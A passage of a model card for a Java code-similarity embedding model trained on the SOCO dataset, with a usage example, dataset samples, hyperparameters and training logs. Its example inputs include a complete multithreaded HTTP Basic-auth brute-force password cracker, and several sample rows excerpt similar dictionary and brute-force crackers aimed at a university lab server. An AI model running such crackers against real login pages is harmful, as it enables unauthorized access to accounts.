outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000 ) >> 12;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n\n         \n          out [ outIndex++ ] = \'=\';\n        }\n        else if ( octetString.length - i == 1 )\n        {\n          \n          bits24 = ( octetString [ i ] & 0xFF ) << 16;\n\n          bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000 ) >> 12;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n\n          \n          out [ outIndex++ ] = \'=\';\n          out [ outIndex++ ] = \'=\';\n        }\n\n       return new String ( out );\n     }\n}\n\n',
    '\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\npublic class BruteForce extends Thread\n{\n   private static final String USERNAME = "";\n   private static final char [] POSSIBLE_CHAR =\n        {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\',\n         \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\',\n         \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\',\n         \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n   private static int NUMBER_OF_THREAD = 500;\n\n   private static Date startDate = null;\n   private static Date endDate = null;\n\n   private String address;\n   private String password;\n\n   public BruteForce(String address, String password)\n   {\n      this.address = address;\n      this.password = password;\n   }\n\n   public static void main(String[] args) throws IOException\n   {\n      if (args.length < 1)\n      {\n         System.err.println("Invalid usage!");\n         System.err.println("Usage: java BruteForce <url>");\n         System.exit(1);\n      }\n\n      try\n      {\n         brute(args[0], USERNAME);\n      }\n      catch(Exception e)\n      {\n         e.printStackTrace();\n         System.exit(1);\n      }\n   }\n\n   public static void brute(String address, String user)\n   {\n      BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n      int index = 0;\n\n      startDate = new Date();\n      for(int i = 0; i < POSSIBLE_CHAR.length; i++)\n      {\n         for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n         {\n            for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n            {\n               String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n                                 POSSIBLE_CHAR[k];\n\n               if (threads[index] != null && threads[index].isAlive())\n               {\n                  try\n                  {\n                     threads[index].join();\n                  }\n                  catch(InterruptedException e ) {}\n               }\n               threads[index] = new BruteForce(address, password);\n               threads[index].get();\n\n               index = (index++) % threads.length;\n            }\n         }\n      }\n   }\n\n   public void run()\n   {\n      if (endDate != null)\n         return;\n\n      try\n      {\n\n         URLConnection conn = (new URL(address)).openConnection();\n         conn.setDoInput(true);\n\n         if (login(conn, USERNAME, password))\n         {\n            endDate = new Date();\n            System.out.println("Found the password: \\""+password+"\\"!");\n            SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:");\n            System.out.println("Process started at: "+format.format(startDate));\n            System.out.println("Process started at: "+format.format(endDate));\n            double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n            System.out.println("Time taken: "+timeTaken+" minutes");\n            System.exit(0);\n         }\n         else\n         {\n            System.out.println("Password: \\""+password+"\\" Failed!");\n            return;\n         }\n      }\n      catch(Exception e)\n      {\n         e.printStackTrace();\n      }\n\n   }\n\n   public static boolean login(URLConnection conn, String user, String pass)\n   {\n      try\n      {\n         String encodeAuth = " "+Base64Encoder.encode(user+":"+pass);\n         conn.setRequestProperty ("Authorization", encodeAuth);\n         conn.connect();\n         conn.getInputStream();\n      }\n      catch(Exception e)\n      {\n         return false;\n      }\n      return true;\n   }\n}\n\n\n',
    '\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n   private final static char base64Array [] = {\n          \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n          \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n          \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n          \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n          \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n          \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n          \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n          \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n     };\n\n   public static String encode (String string)\n   {\n      String encodedString = "";\n      byte bytes [] = string.getBytes ();\n      int i = 0;\n      int pad = 0;\n      while (i < bytes.length)\n      {\n         byte b1 = bytes [i++];\n         byte b2;\n         byte b3;\n         if (i >= bytes.length)\n         {\n            b2 = 0;\n            b3 = 0;\n            pad = 2;\n         }\n         else\n         {\n            b2 = bytes [i++];\n            if (i >= bytes.length)\n            {\n               b3 = 0;\n               pad = 1;\n            }\n            else\n               b3 = bytes [i++];\n         }\n\n         byte c1 = (byte)(b1 >> 2);\n         byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n         byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n         byte c4 = (byte)(b3 & 0x3f);\n         encodedString += base64Array [c1];\n         encodedString += base64Array [c2];\n         switch (pad)\n         {\n            case 0:\n               encodedString += base64Array [c3];\n               encodedString += base64Array [c4];\n               break;\n            case 1:\n               encodedString += base64Array [c3];\n               encodedString += "=";\n               break;\n            case 2:\n               encodedString += "==";\n               break;\n         }\n      }\n      return encodedString;\n   }\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

soco_train_java

• Dataset: soco_train_java at 44ca4ff
• Size: 16,705 training samples
• Columns: label, text_1, and text_2
• Approximate statistics based on the first 1000 samples:

  	label	text_1	text_2
  type	int	string	string
  details	0: ~99.40% 1: ~0.60%	min: 51 tokens mean: 453.35 tokens max: 512 tokens	min: 53 tokens mean: 469.36 tokens max: 512 tokens

• Samples:

  label	text_1	text_2
  0	import java.net.; import java.io.; import java.Ostermiller.util.; import java.util.; public class MyClient2 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private BruteForce myMaster; public MyClient2(BruteForce bf , int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; ...	import java.io.; import java.net.; import java.text.; import java.util.; class Dictionary { private String password=""; private int num=401; public static void main(String[] args) { Dictionary URLcon; int length = 0; String passwd=""; int t0,t1; String line =""; if (args.length == 0) { System.err.println ( "Usage : java BruteForce "); return; } String username = args[0]; t0=System.currentTimeMillis(); System.out.println (" " + new Date()); System.out.println ("Using Dictionary method attack "+username+"'s password. Please waiting......."); try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); while ((passwd=in.readLine())!=null) { URLcon = new Dictionary (passwd,username); if ((URLcon.num)!=401) { t1=Syste...
  0	import java.net.; import java.io.; public class BruteForce { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); DataInputStream dis ; for (i=0;i<=58;i++) { for (j=0;j<=58;j++) { for (k=1;k<=58;k++) { if (i !=0) { pass = "" + (char)(k+64) + (char)(j+65) + (char)(i+64); if ((i+64) >=91 && (i+64) <=96) break; if ((j+65) >=91 && (j+65) <=96) break; if ((k+64) >=91 && (k+64) <=96) continue; UserPass= auth.encode("",...	import java.util.; import java.net.; import java.io.; import javax.swing.; public class ParsingImgLink { String url, imgLink, line; public ParsingImgLink( String baseURL, String str ) { url = baseURL; line = str; parsingLine(); } public void parsingLine() { int end; String imgURLStr = null; if( ( url = line.indexOf("src="") ) != -1 ) { String subStr = line.substring(+5); end = subStr.indexOf("""); imgURLStr = subStr.substring( 0, end ); System.out.println(imgURLStr); } else if( ( end = line.indexOf("SRC="")) != -1 ) { String subStr = line.substring(+5); end = subStr.indexOf("""); imgURLStr = subStr.substring( 0, end ); System.out.println(imgURLStr); } if( imgURLStr.indexOf("://") == -1 ) { try { URL bas...
  0	import java.util.; import java.io.; import java.net.*; class Dictionary { public static void main (String a[]) { String pwd=""; try { BufferedReader bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); int i=0; while(bf.readLine() != null) { pwd= bf.readLine(); String userPassword = ":"+pwd; RealThread myTh = new RealThread(i,userPassword); Thread th = new Thread( myTh ); th.start(); try { th.sleep(100); } catch(Exception e) {} i++; } } catch(Exception e ) { System.out.println(" ex while ="+ e); } } } class RealThread implements Runnable { private int num; private URL url; private HttpURLConnection uc =null; private String userPassword; private int responseCode = 100; public RealThread (int i, String userPassword) { try { url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); } catch(Exception ex1) { } num = i; this...	import java.io.; import java.util.; import java.net.*; import java.misc.BASE64Encoder; public class Dictionary { public Dictionary() { } public static void main(String[] args) { try { if (args.length != 3 ) { System.out.println("Usage: java BruteForce "); System.exit(1); } timeStart = System.currentTimeMillis(); String strPass = applyDictionary (args[0], args[1], args [2]); timeEnd = System.currentTimeMillis(); System.out.println("\n\n\n\n\tPass Cracked is: " + strPass); System.out.println("\tTime taken is (sec):" + String.valueOf((timeEnd - timeStart)/1000)); } catch(Exception e) { e.printStackTrace(); } } static String applyDictionary (String URL, String UserName, String strUrlDictionary) { String strPass = ""; try { FileInputStream fIn = new FileInputStream ( strUrlDictionar...

• Loss: SoftmaxLoss

Evaluation Dataset

soco_train_java

• Dataset: soco_train_java at 44ca4ff
• Size: 16,706 evaluation samples
• Columns: label, text_1, and text_2
• Approximate statistics based on the first 1000 samples:

  	label	text_1	text_2
  type	int	string	string
  details	0: ~99.40% 1: ~0.60%	min: 51 tokens mean: 443.68 tokens max: 512 tokens	min: 51 tokens mean: 467.63 tokens max: 512 tokens

• Samples:

  label	text_1	text_2
  0	import java.Runtime; import java.io.*; public class differenceFile { StringWriter sw =null; PrintWriter pw = null; public differenceFile() { sw = new StringWriter(); pw = new PrintWriter(); } public String compareFile() { try { Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt"); InputStream write = sw.getInputStream(); BufferedReader bf = new BufferedReader (new InputStreamReader(write)); String line; while((line = bf.readLine())!=null) pw.println(line); if((sw.toString().trim()).equals("")) { System.out.println(" difference"); return null; } System.out.println(sw.toString().trim()); }catch(Exception e){} return sw.toString().trim(); } }	import java.; import java.io.; import java.util.*; public class BruteForce { public static void main(String[] args) { Runtime rt = Runtime.getRuntime(); Process pr= null; char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; String pass; char temp[] = {'a','a'}; char temp1[] = {'a','a','a'}; char temp2[] = {'a'}; String f= new String(); String resp = new String(); int count=0; String success = new String(); InputStreamReader instre; BufferedReader bufread; for(int k=0;k<52;k++) { temp2[0]=chars[k]; pass = new String(temp2); count++; System.out.println("The password tried ...
  0	import java.io.; import java.net.; import java.util.*; public class Watchdog { public static void main(String args[]) { String mainLink="http://www.cs.rmit.edu./students/"; String sender = "@cs.rmit.edu."; String recipient = ""; String hostName = "yallara.cs.rmit.edu."; int delay = 86400000; try { int imgSrcIndex, imgSrcEnd; String imgLink; Vector imageList = new Vector(); HttpURLConnection imgConnection; URL imgURL; EmailClient email = new EmailClient(sender, recipient, hostName); URL url=new URL(mainLink); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream())); FileWriter fwrite = new FileWriter("local.txt"); BufferedWriter writefile = new BufferedWriter(fwrite); String line=webpage.readLine(); while (line != null) { writefile.write(line,0,line.length()); wri...	import java.net.; import java.io.; import java.String; import java.; import java.util.; public class BruteForce { private static final int passwdLength = 3; private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :"; private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; private int charLen = chars.length(); private int n = 0; private int n3 = charLencharLencharLen; private String response; private String[] password = new String[charLencharLencharLen+charLen*charLen+charLen]; private char[][] data = new char[passwdLength][charLen]; private char[] pwdChar2 = new char[2]; private char[] pwdChar = new char[passwdLength]; private String url; private int startTime; private int endTime; private int totalTime; private float averageTime; private boolean finish; private Process curl; private BufferedReader bf, responseLine; ...
  0	import java.io.; import java.awt.; import java.net.*; public class BruteForce { public static void main (String[] args) { String pw = new String(); pw = getPassword (); System.out.println("Password is: "+pw); } public static String getPassword() { String passWord = new String(); passWord = "AAA"; char[] guess = passWord.toCharArray(); Process pro = null; Runtime runtime = Runtime.getRuntime(); BufferedReader in = null; String str=null; boolean found = true; System.out.println(" attacking....."); for (int i=65;i<=122 ;i++ ) { guess[0]=(char)(i); for (int j=65;j<=122 ;j++ ) { guess[1]=(char)(j); for (int k=65 ;k<=122 ;k++ ) { guess[2]=(char)(k); passWord = new String(guess); String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php "; try { pro = runtime.exec(cmd); in = new BufferedReader(new InputStreamReader(pro.getErrorSt...	import java.io.; import java.text.; import java.util.; import java.net.; public class BruteForce extends Thread { private static final String USERNAME = ""; private static final char [] POSSIBLE_CHAR = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; private static int NUMBER_OF_THREAD = 500; private static Date startDate = null; private static Date endDate = null; private String address; private String password; public BruteForce(String address, String password) { this.address = address; this.password = password; } public static void main(String[] args) throws IOException { if (args.length < 1) { System.err.println("Invalid usage!"); System.err.println("...

• Loss: SoftmaxLoss

Training Hyperparameters

Non-Default Hyperparameters

• eval_strategy: steps
• per_device_train_batch_size: 16
• per_device_eval_batch_size: 16
• num_train_epochs: 1
• fp16: True

All Hyperparameters

Click to expand

• overwrite_output_dir: False
• do_predict: False
• eval_strategy: steps
• prediction_loss_only: True
• per_device_train_batch_size: 16
• per_device_eval_batch_size: 16
• per_gpu_train_batch_size: None
• per_gpu_eval_batch_size: None
• gradient_accumulation_steps: 1
• eval_accumulation_steps: None
• torch_empty_cache_steps: None
• learning_rate: 5e-05
• weight_decay: 0.0
• adam_beta1: 0.9
• adam_beta2: 0.999
• adam_epsilon: 1e-08
• max_grad_norm: 1.0
• num_train_epochs: 1
• max_steps: -1
• lr_scheduler_type: linear
• lr_scheduler_kwargs: {}
• warmup_ratio: 0.0
• warmup_steps: 0
• log_level: passive
• log_level_replica: warning
• log_on_each_node: True
• logging_nan_inf_filter: True
• save_safetensors: True
• save_on_each_node: False
• save_only_model: False
• restore_callback_states_from_checkpoint: False
• no_cuda: False
• use_cpu: False
• use_mps_device: False
• seed: 42
• data_seed: None
• jit_mode_eval: False
• use_ipex: False
• bf16: False
• fp16: True
• fp16_opt_level: O1
• half_precision_backend: auto
• bf16_full_eval: False
• fp16_full_eval: False
• tf32: None
• local_rank: 0
• ddp_backend: None
• tpu_num_cores: None
• tpu_metrics_debug: False
• debug: []
• dataloader_drop_last: False
• dataloader_num_workers: 0
• dataloader_prefetch_factor: None
• past_index: -1
• disable_tqdm: False
• remove_unused_columns: True
• label_names: None
• load_best_model_at_end: False
• ignore_data_skip: False
• fsdp: []
• fsdp_min_num_params: 0
• fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
• fsdp_transformer_layer_cls_to_wrap: None
• accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
• deepspeed: None
• label_smoothing_factor: 0.0
• optim: adamw_torch
• optim_args: None
• adafactor: False
• group_by_length: False
• length_column_name: length
• ddp_find_unused_parameters: None
• ddp_bucket_cap_mb: None
• ddp_broadcast_buffers: False
• dataloader_pin_memory: True
• dataloader_persistent_workers: False
• skip_memory_metrics: True
• use_legacy_prediction_loop: False
• push_to_hub: False
• resume_from_checkpoint: None
• hub_model_id: None
• hub_strategy: every_save
• hub_private_repo: None
• hub_always_push: False
• gradient_checkpointing: False
• gradient_checkpointing_kwargs: None
• include_inputs_for_metrics: False
• include_for_metrics: []
• eval_do_concat_batches: True
• fp16_backend: auto
• push_to_hub_model_id: None
• push_to_hub_organization: None
• mp_parameters:
• auto_find_batch_size: False
• full_determinism: False
• torchdynamo: None
• ray_scope: last
• ddp_timeout: 1800
• torch_compile: False
• torch_compile_backend: None
• torch_compile_mode: None
• include_tokens_per_second: False
• include_num_input_tokens_seen: False
• neftune_noise_alpha: None
• optim_target_modules: None
• batch_eval_metrics: False
• eval_on_start: False
• use_liger_kernel: False
• eval_use_gather_object: False
• average_tokens_across_devices: False
• prompts: None
• batch_sampler: batch_sampler
• multi_dataset_batch_sampler: proportional

Training Logs

Epoch	Step	Training Loss	Validation Loss
0.0957	100	0.0506	0.0198
0.1914	200	0.0159	0.0178
0.2871	300	0.0267	0.0195
0.3828	400	0.0341	0.0202
0.4785	500	0.0139	0.0161
0.5742	600	0.0142	0.0157
0.6699	700	0.0244	0.0154
0.7656	800	0.018	0.0152
0.8612	900	0.0088	0.0153
0.9569	1000	0.0205	0.0146

Framework Versions

• Python: 3.11.11
• Sentence Transformers: 4.1.0
• Transformers: 4.52.4
• PyTorch: 2.8.0.dev20250319+cu128
• Accelerate: 1.7.0
• Datasets: 3.6.0
• Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers and SoftmaxLoss

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}